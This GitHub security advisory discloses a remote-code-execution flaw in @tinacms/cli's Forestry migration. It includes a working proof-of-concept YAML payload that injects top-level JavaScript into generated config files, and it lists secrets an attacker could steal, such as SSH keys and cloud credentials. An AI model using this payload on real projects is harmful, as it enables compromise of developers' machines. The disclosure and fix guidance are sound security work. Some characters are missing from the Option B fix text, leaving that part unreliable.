GitHub Advisoryadvisory · npm

GHSA-4936-9hrh-qqpw @tinacms/cli: Remote Code Execution in @tinacms/cli via Forestry migration — unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels

HIGH Published 2026-06-19 Modified 2026-06-19 Official page ↗
Aliases
CVE-2026-54074
Ecosystem
npm
Packages
@tinacms/cli
Severity
High
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weaknesses
CWE-94
Reviewed
2026-06-19

Affected packages

• npm @tinacms/cli: < 2.4.3 → fixed in 2.4.3

Description

Description Summary `@tinacms/cli` contains a Remote Code Execution vulnerability in its Forestry-to-Tina migration command. The internal helper `addVariablesToCode` unquotes any value matching the marker `"__TINA_INTERNAL__:::(.*?):::"` inside the stringified collection JSON. User-supplied `label` and `name` fields from `.forestry/**/*.yml` are placed into that JSON without any sanitisation. An attacker who controls a Forestry-style project can therefore inject arbitrary JavaScript into the generated `tina/templates.{ts,js}` file. The injected code is written at module top level, so it executes the moment the developer runs `tinacms dev` or `tinacms build`, with the developer's privileges. Details Vulnerable code path: 1. `packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts` — `transformForestryFieldsToTinaFields()` writes `forestryField.label` (and `.name`) straight into TinaField objects (no sanitisation). 2. `packages/@tinacms/cli/src/cmds/forestry-migrate/util/codeTransformer.ts`, lines 16-22 — the regex-based unquoter: ```ts export const addVariablesToCode = (codeWithTinaPrefix: string) => { const code = codeWithTinaPrefix.replace( /"__TINA_INTERNAL__:::(.*?):::"/g, '$1' ); return { code }; }; ``` 3. `codeTransformer.ts` lines 80-88 — the field array is `JSON.stringify`-ed and then handed to `addVariablesToCode`. Because `JSON.stringify` does not escape single quotes or backticks, an attacker who avoids `"` in the payload survives the JSON pass intact. 4. `packages/@tinacms/cli/src/cmds/init/apply.ts` lines 110-116 — the resulting string is written to `tina/templates.{ts,js}` and imported by the generated `tina/config.{ts,js}`, which `tinacms dev` evaluates. Why it executes immediately: the regex unquoting allows the attacker's payload to *close the surrounding object/array and the enclosing `xxxFields()` function*, drop a top-level IIFE, and then start a dummy function that swallows the trailing JSON. The IIFE is at module scope, so it runs the instant `tina/config.ts` imports `./templates`. PoC End-to-end verified against `tinacms` and `@tinacms/[email protected]`, built from commit `ae1ab5d0f` of `tinacms/tinacms` on Windows 11 + Node.js v24 (behaviour is identical on Node 22). Step 1 — attacker prepares a malicious Forestry project `.forestry/settings.yml` ```yaml --- new_page_extension: md auto_deploy: false admin_path: '' webhook_url: '' sections: • type: directory path: content/posts label: Posts create: all match: "**/*.md" templates: • rce ``` `.forestry/front_matter/templates/rce.yml` ```yaml --- label: rce_template fields: • name: title type: text label: "__TINA_INTERNAL__:::1}] }; (function(){ const fs=require('fs'); const os=require('os'); fs.writeFileSync(require('path').join(os.tmpdir(),'PWNED_PROOF.txt'), 'RCE triggered on ' + os.hostname() + ' at ' + new Date().toISOString()); console.log('=== RCE SUCCESSFUL ==='); })(); function _ignore_(){ return [{x:1:::" ``` > Note on payload encoding. The original disclosure draft used double > quotes inside the payload (`console.log("RCE")`). `JSON.stringify` escapes > those to `\"`, which makes the generated TypeScript syntactically invalid > and is rejected by Prettier before the file is written. Using single > quotes or backticks for the inner string literals is required for the > exploit to succeed. Step 2 — victim runs the standard onboarding flow ```bash git clone cd npx tinacms init # accepts the "migrate Forestry templates?" prompt npx tinacms dev # OR: npx tinacms build ``` Step 3 — generated `tina/templates.ts` (verbatim, from a clean run) ```ts import type { TinaField } from "tinacms"; export function rce_templateFields() { return [{ type: "string", name: "title", label: 1 }]; } (function () { // at 2026-05-23T06:57:29.800Z ``` The `=== RCE SUCCESSFUL ===` line is printed before the dev server fails on the (intentionally minimal) config, proving the malicious code executed during config evaluation. Impact • Class: Remote Code Execution (code injection into a generated source file that is automatically executed by the dev server/build). • Attack vector: Any developer who runs `tinacms init` on a Forestry project they did not author (e.g. a starter template, a community fork, a "convert my site to Tina" service, an evaluation of a third-party CMS migration) and then runs `tinacms dev` or `tinacms build`. • Privileges obtained: Full execution under the developer's user account. Practical consequences include: • Exfiltration of environment variables, `.env` files, SSH keys, `~/.aws/credentials`, `~/.npmrc` tokens, `~/.config/gh/hosts.yml`. • Source-code modification (planting backdoors before the developer's next commit / publish). • Supply-chain abuse via the developer's `npm publish` and `git push` credentials. • Persistence via shell rc files or scheduled tasks. • Authentication: None required from the attacker. • User interaction: Required — victim must run the migration and then the dev/build command. The migration prompt defaults to "yes". Suggested Remediation Either fix is sufficient; Option B is preferred because it is structurally impossible to bypass and does not silently drop user content. Option A — sanitise user-controlled strings (the disclosure draft's proposal) ```ts // packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts const sanitizeString = (str: unknown): unknown => typeof str === 'string' ? str.replace(/__TINA_INTERNAL__:::/g, '') : str; ``` Apply to every user-controlled string that flows into a TinaField object — at minimum `forestryField.label`, `forestryField.name`, `forestryField.template`, `forestryField.config.options[*]`, `forestryField.config.source.section`, and the equivalents on nested `fields`/`template_types` recursive paths. Option B — change the marker to a sequence that cannot survive `JSON.stringify` of user data ```ts // codeTransformer.ts const MARKER_OPEN = '__TINA_INTERNAL__'; const MARKER_CLOSE = '/__TINA_INTERNAL__'; export const addVariablesToCode = (s: string) => ({ code: s.replace( new RegExp(`"${MARKER_OPEN}(.*?)${MARKER_CLOSE}"`, 'g'), '$1' ), }); ``` `JSON.stringify` escapes `` to the six-character sequence ``, so any literal control character supplied via YAML can never reconstruct the marker. The internal callers (`makeFieldsWithInternalCode`) keep emitting real `` bytes, so the legitimate flow continues to work and no user content is silently mutated. Defence-in-depth Regardless of which option ships, the migration code should also: • Reject `forestryField.label` / `.name` that contain newlines or NUL bytes (Forestry never produced them). • Wrap the eventual `prettier.format(...)` call so that if formatting fails the build aborts (today an exception is propagated, which is good — keep it that way). --- Credit Reported by AnGrY-Althaf (`[email protected]`). End-to-end PoC executed locally against `[email protected]` / `@tinacms/[email protected]` built from commit `ae1ab5d0f` of `https://github.com/tinacms/tinacms`.

Related

Alias · CVE (1)

  • CVE-2026-54074 Tina is a headless content management system. vulnerability

Weakness · CWE (1)

  • CWE-94 Improper Control of Generation of Code weakness

References